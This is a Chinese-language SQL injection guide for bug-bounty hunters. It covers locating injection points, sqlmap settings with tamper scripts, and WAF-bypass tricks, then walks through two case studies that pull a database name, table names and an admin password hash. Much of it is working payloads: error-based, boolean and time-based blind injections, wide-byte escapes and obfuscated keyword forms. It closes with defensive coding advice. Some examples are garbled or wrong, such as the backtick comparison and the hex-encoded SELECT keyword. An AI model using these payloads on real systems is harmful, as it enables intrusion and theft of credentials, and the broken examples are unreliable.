1. 项目概述:从SRC视角看SQL注入实战
在SRC(安全应急响应中心)漏洞挖掘的实战中,SQL注入始终是那个“古老”却又“常青”的漏洞类型。说它古老,是因为其原理自Web诞生之初就已存在;说它常青,是因为即便在预编译、ORM框架普及的今天,它依然能通过各种“奇技淫巧”在各类业务系统中找到突破口。对于刚入门的白帽子来说,掌握SQL注入的挖掘与利用,是构建Web安全攻防知识体系的基石。而对于经验丰富的挖掘者,每一次成功的SQL注入绕过,都是一次对业务逻辑、代码实现和防护策略的深度理解。
这篇文章,我将从一个SRC实战挖掘者的角度,抛开教科书式的理论,直接切入SQL注入的实战核心。我们不仅要理解“是什么”,更要深挖“为什么”和“怎么用”。我会结合大量真实案例中提炼出的技巧,拆解从寻找注入点到绕过WAF、再到最终利用的完整链条。无论你是想入门SRC挖掘的新手,还是希望精进技艺的老手,这里的内容都将是你手边最直接的“作战手册”。
2. 核心思路拆解:如何系统性地寻找与验证SQL注入
很多人在测试SQL注入时,往往拿着sqlmap一通乱扫,结果要么一无所获,要么触发告警被封IP。高效的SQL注入挖掘,必须建立在清晰的思路之上。这就像侦探破案,你得知道去哪里找线索,以及如何验证线索的真伪。
2.1 注入点的“全景扫描”:不止于ID参数
新手最容易犯的错误就是只盯着URL里的id、uid这些明显的数字型参数。在真实的业务系统中,注入点可能隐藏在任何一个与数据库交互的角落里。
1. 参数类型的全面覆盖:
- 显式参数:这是最基础的。包括URL参数(
?id=1)、POST表单参数、Cookie值、HTTP头(如X-Forwarded-For)。 - 隐式参数:比如伪静态URL中的数字(
/news/123.html),它可能被后端路由解析为id=123。再比如JSON或XML格式的请求体,其中的某个字段也可能是注入点。 - 业务逻辑参数:这是高产出的富矿。任何涉及数据查询、筛选、排序、分页的地方都值得深究。
- 搜索框:
keyword、q、search。尝试输入'、"或\。 - 筛选器:
category、type、status、fromRegion。这些参数常直接拼接到WHERE子句中。 - 排序器:
order、sort、orderby。这是高危区,因为排序字段名常是动态拼接的,无法预编译。测试?sort=id变为?sort=(select 1)或?sort=id和?sort=id的响应差异。 - 分页器:
page、limit、offset。测试?limit=10和?limit=10;select sleep(5)--。
- 搜索框:
2. 测试手法的“组合拳”:找到可疑点后,不能只用一种方法测试。我通常会按以下顺序,像剥洋葱一样层层深入:
- 初步探测(无害):添加单引号
'、双引号"。观察页面是否报错、空白、或与正常页面有细微差异(如图片加载失败、某个模块缺失)。数字型参数可以尝试?id=3和?id=2+1,看结果是否一致。 - 逻辑测试(低危):尝试构造永真和永假条件。例如,对于疑似字符型注入
?name=admin,测试?name=admin' and '1'='1和?name=admin' and '1'='2。如果前者返回正常结果,后者返回异常或无结果,则注入可能性极大。 - 报错试探(中危):利用数据库报错函数。对于MySQL,可以尝试
?id=1' and updatexml(1,concat(0x7e,user()),1)--+。如果页面返回了包含~root@localhost的数据库错误信息,恭喜你,找到了一个报错注入点。这一步能快速确认漏洞存在和数据库类型。 - 盲注验证(高危):如果页面没有明确报错,但行为有差异,就需要盲注。时间盲注是最终手段:
?id=1' and sleep(5)--+。观察响应时间是否明显延迟。
实操心得:不要忽略错误页面。有时主页面做了全局错误处理,但一个非关键的API接口或静态资源加载路径可能泄露详细的SQL错误。用Burp Suite的爬虫功能或主动扫描,收集所有可能的端点进行测试。
2.2 闭合方式的“外科手术”:理解SQL语句的拼接
找到注入点只是第一步,精准地“闭合”原SQL语句,并“插入”我们自己的恶意代码,才是成功利用的关键。这需要根据返回的报错信息或盲注行为,反推后端SQL的拼接方式。
常见的拼接模式与测试Payload:
| 后端代码猜测 | 测试Payload(假设参数值为123) | 预期结果与判断 |
|---|---|---|
$sql = "SELECT * FROM users WHERE id = " . $_GET['id']; | ?id=123 and 1=1?id=123 and 1=2 | 数字型注入。无需闭合,直接拼接逻辑运算。 |
$sql = "SELECT * FROM users WHERE name = '" . $_GET['name'] . "'"; | ?name=admin' and '1'='1?name=admin' and '1'='2 | 字符型注入,单引号闭合。需要注释掉原语句末尾的引号:?name=admin'--+ |
$sql = "SELECT * FROM users WHERE id = (" . $_GET['id'] . ")"; | ?id=123) and (1=1?id=123) and (1=2 | 数字型,带括号。需要先闭合括号。 |
$sql = "SELECT * FROM users WHERE name = ('" . $_GET['name'] . "')"; | ?name=admin') and ('1'='1 | 字符型,带括号。需要闭合括号和引号。 |
$sql = "SELECT * FROM article ORDER BY " . $_GET['sort'] . " DESC"; | ?sort=id?sort=(select sleep(5)) | 排序字段注入。通常无法预编译,直接拼接。时间盲注是有效验证手段。 |
关键技巧:当单引号、双引号测试无效时,可以尝试反斜杠\。如果输入\后页面报错或行为改变,说明存在转义处理,可能涉及宽字节注入等特殊情况。
2.3 工具与手工的“黄金搭配”:sqlmap的正确打开方式
sqlmap是神器,但无脑使用就是“自杀式扫描”。在SRC实战中,我遵循“先手工,后工具;工具定制,精准打击”的原则。
1. 手工确认后再上工具:先用上述手工方法基本确认存在注入点、判断出数据库类型(MySQL/Oracle/SQL Server等)和闭合方式。这能极大提高sqlmap的成功率和效率。
2. 关键参数配置:直接上一个我常用的“组合拳”命令模板,适用于已确认的注入点:
python sqlmap.py -u "http://target.com/page.php?id=1" --batch --random-agent --flush-session --level 3 --risk 2 --tamper=space2comment,charencode --dbms=mysql--batch: 非交互模式,自动选择默认选项。--random-agent: 随机化User-Agent,避免被简单的UA规则屏蔽。--flush-session: 清除之前的扫描缓存,避免干扰。--level 3: 增加对Referer和User-Agent头的测试(有些注入点在这两个头里)。--risk 2: 提高测试风险等级,会使用更多可能不稳定的Payload。--tamper=space2comment,charencode: 使用脚本对Payload进行混淆,绕过简单的WAF。space2comment将空格替换为/**/,charencode进行URL编码。--dbms=mysql: 如果手工已判断是MySQL,直接指定,可大幅缩短指纹识别时间。
3. 高级场景与规避:
- Cookie注入:使用
--cookie="PHPSESSID=xxx; other=yyy"。 - POST请求:使用
-r参数读取一个保存了完整HTTP请求的文件。 - 延时调整:如果网络环境差或目标响应慢,使用
--time-sec=10将时间盲注的延时阈值调高,减少误报。 - 最重要的禁忌:切勿在未授权的情况下使用
--dump-all或--dump某个大表!这会产生巨大流量,极易导致目标服务异常,属于违规操作。在SRC测试中,证明漏洞存在即可,通常获取当前数据库用户--current-user、数据库名--current-db或版本--banner就足够了。
3. 绕过防御的艺术:应对WAF与非常规场景
现在的Web应用很少裸奔,多少都会有些防护措施,从简单的输入过滤到云WAF。直接扔一个union select 1,2,3很可能吃到403。这时候,绕过技巧就是你的“手术刀”。
3.1 基于规则混淆的绕过
这是最基础的绕过思路,核心是让Payload“看起来不像”恶意Payload。
1. 空白符变异:WAF的规则可能只匹配标准的空格。
- 使用注释代替空格:
union/**/select/**/1,2,3 - 使用括号包裹:
union(select(1),2,3) - 使用换行符或制表符(URL编码):
%0a(换行),%09(制表符)。例如:union%0aselect%0a1,2,3
2. 关键词分割与混淆:
- 内联注释:
uni/**/on sel/**/ect 1,2,3。MySQL中/**/内的内容会被忽略。 - 反引号包裹:在MySQL中,反引号可用于标识符。
select和select是等价的。可以写成sel``ect,这能绕过简单的字符串匹配。 - 大小写混合/双写:
UnIoN SeLeCT,ununionion selselectect(某些简单的过滤可能会移除union字符串,双写后移除中间部分,剩下的又拼成了union)。
3. 编码与特殊格式:
- 十六进制编码:
union select 1,2,3可以将其中的字符串转为十六进制,如select->0x73656c656374。Payload变为:union 0x73656c656374 1,2,3。 - URL编码:对单个字符或整个参数进行多次URL编码。
'->%27->%25%32%37。有些WAF只解码一次。 - Unicode编码:在某些上下文(如JSON)中可能有效。
3.2 利用数据库特性与冷门函数
这是更高级的绕过,需要对特定数据库的“癖好”有深入了解。
1. MySQL的“奇兵”:GTID_SUBSET与反引号如前文网络资料所述,GTID_SUBSET()是一个冷门的MySQL函数,用于检查GTID集合的子集关系,返回0或1。这使它天然适合数字型布尔盲注。
- 经典Payload:
?id=GTID_SUBSET(concat(user(),':1'),'00000000-0000-0000-0000-000000000000:1') - 绕过原理:大多数通用WAF的规则库聚焦于
and、if、sleep、substr等常见函数。GTID_SUBSET作为运维函数,很少被纳入黑名单。它不需要and连接,直接返回0或1作为id值,完美融入数字型上下文。 - 配合反引号:如果
GTID_SUBSET本身被规则化了,可以尝试`GTID_SUBSET`()或`GTID`_`SUBSET`(),利用反引号分割函数名。
2. 报错注入的“新瓶旧酒”:extractvalue/updatexml的变形extractvalue和updatexml是经典的MySQL报错注入函数,但extractvalue(1,concat(0x7e,user()))这种写法早已被标记。
- 变形技巧:
- 非常规开头:如资料所示,用
desc,开头。desc是降序关键字,在此处作为无意义的占位符,能绕过一些以extractvalue开头的规则。 - 参数位置调整:
updatexml(2,concat(0x7e,user()),1)。改变第一个数字参数。 - concat变体:使用
concat_ws(0x0a,0x0a,user()),用换行符作为分隔符,有时能绕过对concat(的检测。
- 非常规开头:如资料所示,用
3. 堆叠注入与多语句执行堆叠注入(Stacked Injection)允许执行多条SQL语句,用分号;分隔。这在某些特定场景下威力巨大,例如SQL Server中可以直接执行系统命令。
- 测试:
?id=1;select 1或?id=1;select 1/0(通过制造除零错误观察响应)。 - 利用:并非所有数据库或连接驱动都支持。PHP+MySQL的
mysqli默认有时不支持(需设置CLIENT_MULTI_STATEMENTS),但PDO在某些配置下可能支持。SQL Server和PostgreSQL的支持度相对较好。 - 实战意义:在SRC挖掘中,发现堆叠注入往往意味着高危漏洞,可能直接导致命令执行或数据篡改。
3.3 针对特定环境的技巧
1. PHP+GBK编码与宽字节注入这是一个经典漏洞,但仍有老系统存在。当数据库连接使用GBK、GB2312等宽字节编码,而PHP使用mysql_real_escape_string等函数转义单引号(在'前加\,即0x5c)时,就可能被绕过。
- 原理:攻击者输入
%df%27(%df是一个GBK宽字节字符的首字节)。转义后变成%df%5c%27。在GBK编码下,%df%5c可能被解析为一个合法的中文字符(如“運”),从而“吃掉”了转义的反斜杠,使得后面的%27(单引号)逃逸出来,闭合了SQL语句。 - 测试:在疑似字符型注入点尝试
?name=%df%27 or 1=1--+。
2. .NET + SQL Server的延时注入当MySQL的sleep()被拦截时,可以试试SQL Server的WAITFOR DELAY。
- Payload:
?id=1';WAITFOR DELAY '0:0:5'--。这会令数据库等待5秒,通过响应时间判断注入是否成功。
3. 二阶SQL注入这是一种“存储型”的SQL注入。应用将用户输入“安全地”存入数据库,但在后续的某个逻辑中,又直接从数据库取出该数据并拼接到新的SQL语句中执行,且未经过滤。
- 挖掘思路:关注注册、修改资料、评论等“数据入库”功能,再关注密码重置、登录、关联信息查询等“从库中读取数据并使用”的功能。例如,注册时用户名填入
admin'--,后续在某个查询用户详情的功能中,这个用户名被直接拼接,就可能触发注入。 - 测试难点:需要梳理完整的业务流,对请求进行溯源。自动化工具很难发现,主要靠人工审计和逻辑推理。
4. 从注入到利用:实战案例深度剖析
理论说再多,不如一个真实案例来得深刻。下面我分享两个在SRC实战中遇到的、具有代表性的案例,拆解其中的挖掘思路和绕过技巧。
4.1 案例一:排序参数注入绕过云WAF获取管理员密码
目标:某电商平台商品列表页。发现过程:
- 参数枚举:列表页有
sort(排序字段)和order(排序方式,asc/desc)参数。 - 初步测试:测试
?sort=price正常,?sort=price'页面返回一个泛化的500错误(被云WAF拦截?)。 - 绕过尝试:尝试在关键字中插入注释
/**/,?sort=pri/**/ce',依然被拦。尝试大小写、双写,无效。 - 转换思路:既然
sort参数可能被严格过滤,试试order参数。?sort=price&order=asc正常。测试?sort=price&order=asc',页面空白!没有直接500错误,这是一个好迹象。 - 确认注入:构造布尔盲注Payload:
?sort=price&order=asc' and '1'='1页面正常显示(按price升序)。?sort=price&order=asc' and '1'='2页面显示异常(排序混乱或无结果)。确认order参数存在字符型注入,且云WAF对order参数的检测可能弱于sort。 - 利用报错注入:直接上报错函数,获取基础信息。
?sort=price&order=asc' and updatexml(1,concat(0x7e,user()),1) and '1'='1页面返回错误信息:XPATH syntax error: '~root@localhost'。成功!数据库用户是root,权限很高。 - 获取表名和字段名:逐层获取数据。
- 获取数据库名:
...updatexml(1,concat(0x7e,database()),1)...->~shop_db - 获取表名:
...updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)...-> 报错显示只能回显32位。使用substr或mid函数分段读取。 - 发现
admin_users表,猜测有username和password字段。
- 获取数据库名:
- 获取管理员密码哈希:构造Payload读取密码。这里需要注意,
updatexml一次只能读32位,且concat会截断。使用substring函数配合limit来逐条、逐段读取。
得到第一段:?sort=price&order=asc' and updatexml(1,concat(0x7e,(select substring(concat(username,0x3a,password),1,32) from admin_users limit 0,1)),1) and '1'='1~admin:5f4dcc3b5aa765d61d8327deb882c。继续调整substring的起始位置读取剩余部分,最终拼接出完整MD5哈希。
漏洞成因:后端代码可能类似:String sql = "SELECT * FROM products ORDER BY " + sortField + " " + orderDirection;。orderDirection(asc/desc)被认为是固定枚举值,未做严格过滤或预编译,直接拼接导致注入。
4.2 案例二:JSON格式请求体中的时间盲注
目标:某新型社交APP的私信搜索API。发现过程:
- 接口识别:通过抓包,发现一个
POST /api/v1/message/search的接口,请求体为JSON:{"keyword":"hello", "page":1}。 - 常规测试失效:在
keyword字段尝试hello'、hello",请求被正常处理但无结果,无报错。在Burp Repeater中修改JSON格式(如删除引号)会导致400错误,说明有基础校验。 - 转向时间盲注:既然无回显无报错,尝试时间盲注。将
keyword的值改为:hello' and if(ascii(substr(database(),1,1))>100,sleep(3),0) and '1'='1。发送请求后,观察响应时间。 - 遭遇WAF:请求响应很快,没有延时。可能是
sleep函数被WAF识别。尝试混淆:hello'/**/and/**/if(ascii(substr(database(),1,1))>100,sleep(3),0)/**/and/**/'1'='1。依然无效。 - 使用冷门函数BENCHMARK:MySQL的
BENCHMARK(count, expr)函数会重复执行表达式exprcount次,可用于制造延时。Payload:hello' and if(ascii(substr(database(),1,1))>100,benchmark(5000000,md5('test')),0) and '1'='1。 - 成功触发延时:发送请求,响应时间从平时的200ms左右飙升到3秒以上!说明注入成功,且
BENCHMARK绕过了WAF对sleep的检测。 - 自动化利用:确认注入点后,可以手工或编写脚本,通过二分法逐字符猜解数据库名、表名、数据。由于是时间盲注,过程较慢,需要耐心。
漏洞成因:后端使用JSON解析库获取keyword参数后,未经过滤直接拼接到SQL的LIKE语句中:... WHERE content LIKE '%" + keyword + "%' ...。虽然前端限制了输入,但攻击者可以直接伪造请求包。
5. 防御视角与安全开发建议
作为挖掘者,理解攻击手法是为了更好地防御。从这些案例中,我们可以总结出对开发者的关键建议:
坚持使用参数化查询(预编译语句):这是防止SQL注入最根本、最有效的方法。确保所有用户输入都作为参数传递,而不是字符串拼接。
- Java (JDBC):使用
PreparedStatement。 - PHP (PDO):使用
prepare()和execute()。 - Python (SQLAlchemy):使用ORM或
text()函数配合参数绑定。 - 注意:参数化查询只能处理“值”,不能处理“标识符”(如表名、列名、排序关键字)。对于这些,必须使用白名单机制。
- Java (JDBC):使用
实施严格的白名单校验:对于表名、列名、排序方向(
ASC/DESC)等无法参数化的部分,必须在后端建立严格的白名单。只允许预定义的、安全的选项通过。// 错误示例:直接拼接 String orderBy = request.getParameter("sort"); String sql = "SELECT * FROM table ORDER BY " + orderBy; // 正确示例:白名单校验 Map<String, String> allowedSortFields = new HashMap<>(); allowedSortFields.put("price", "price"); allowedSortFields.put("time", "create_time"); String sortField = allowedSortFields.get(request.getParameter("sort")); if (sortField == null) { sortField = "id"; // 默认值 } String sql = "SELECT * FROM table ORDER BY " + sortField;最小权限原则:数据库连接账户不应使用
root或sa等高权限账户。应为Web应用创建独立的、仅具备必要权限(如SELECT,INSERT,UPDATEon specific tables)的账户。这样即使发生注入,危害也被限制在最小范围。统一的输入输出处理:
- 输入验证:在业务逻辑层,对输入数据的类型、长度、格式进行严格校验。
- 输出编码:将所有输出到前端的数据进行适当的HTML编码,防止XSS等二次攻击。
- 错误处理:自定义统一的错误页面,避免将数据库的详细错误信息(如SQL语句、堆栈跟踪)直接展示给用户。记录到安全的日志中供管理员排查即可。
Web应用防火墙(WAF)的合理使用:WAF是重要的纵深防御手段,但不能依赖它作为唯一防线。它可能被绕过。WAF规则需要定期更新和维护,同时应与自研的安全检测逻辑相结合。
SQL注入的攻防是一场持续的斗争。对于白帽子而言,挖掘漏洞的过程是对系统架构和代码逻辑的极致探索。每一次绕过,都加深了对安全机制的理解。记住,最坚固的防线永远是安全意识和规范的编码实践。在SRC的实战中,保持好奇心,细致观察,大胆假设,小心验证,你总能发现那些隐藏在光影交界处的安全漏洞。